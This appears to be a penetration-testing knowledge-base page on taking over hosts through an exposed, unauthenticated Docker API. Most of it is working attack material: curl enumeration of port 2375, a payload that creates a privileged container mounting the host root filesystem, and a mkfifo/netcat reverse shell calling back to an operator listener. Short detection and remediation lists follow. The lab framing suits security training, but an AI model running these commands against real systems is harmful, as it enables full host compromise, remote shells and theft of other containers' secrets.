Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 02. Containers / Container Escape / Attacks

Docker API

The Docker API exposes Docker daemon control over HTTP.

If the API is exposed without authentication, an attacker can control containers on the host remotely. This is the network version of Docker socket abuse.


Ports

Common ports:

2375  Docker API over plain HTTP
2376  Docker API over TLS

Unauthenticated 2375 is critical.


Enumeration

Check from a permitted host:

curl http://TARGET:2375/version
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json

If TLS is enabled:

curl -k https://TARGET:2376/version

TLS without valid client authentication still needs careful review.


Create A Container

Create a payload body:

cat > payload.json <<'EOF'
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "id; hostname; ls -la /host"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"],
    "NetworkMode": "host"
  }
}
EOF

Create the container:

curl -X POST http://TARGET:2375/v1.40/containers/create \
  -H "Content-Type: application/json" \
  --data-binary @payload.json

Start it:

curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/start \
  -H "Content-Type: application/json"

Read logs:

curl "http://TARGET:2375/v1.40/containers/CONTAINER_ID/logs?stdout=1&stderr=1"

Stop it:

curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/stop \
  -H "Content-Type: application/json"

Cleanup:

curl -X DELETE http://TARGET:2375/v1.40/containers/CONTAINER_ID?force=true

In a lab, TARGET is the Docker daemon address. In local Docker Desktop or lab networks this may look like 192.168.65.7:2375; the technique is the same.


Reverse Shell Payload

For an interactive proof in a disposable lab, the container command can call back to a listener.

Start a listener first:

nc -lnvp 4444

Payload:

{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/hostfs"],
    "NetworkMode": "host"
  }
}

Create it:

curl -X POST http://TARGET:2375/v1.40/containers/create \
  --data-binary @payload.json \
  -H "Content-Type: application/json"

Start it:

curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/start \
  -H "Content-Type: application/json"

This payload proves more than code execution inside a normal container. It proves Docker daemon control because the API-created container is privileged, uses host networking, and mounts the host root filesystem at /hostfs.

For a quieter proof, replace the reverse shell command with:

id; hostname; cat /hostfs/etc/os-release

Impact

With Docker API control, we can usually:

  • Start privileged containers
  • Mount host filesystem
  • Use host network
  • Read container logs
  • Copy files from containers
  • Create persistence on the host through mounted paths
  • Access secrets in other containers

The API controls the daemon, not only one container.


Detection

Monitor:

  • Docker daemon listening on 0.0.0.0:2375
  • Unexpected HTTP requests to Docker API
  • New privileged containers
  • Containers with host filesystem binds
  • Containers using host networking
  • Docker events from unusual source IPs

Host checks:

ss -lntp | grep 2375
ps aux | grep dockerd
docker events
docker ps --no-trunc

Remediation

  • Do not expose Docker API over unauthenticated TCP.
  • Bind Docker API to a Unix socket by default.
  • If TCP is required, enforce mutual TLS.
  • Restrict access with firewall rules.
  • Monitor for 2375 exposure.
  • Avoid running Docker daemon on internet-facing interfaces.
  • Alert on privileged container creation.
  • Treat Docker API credentials as host-level credentials.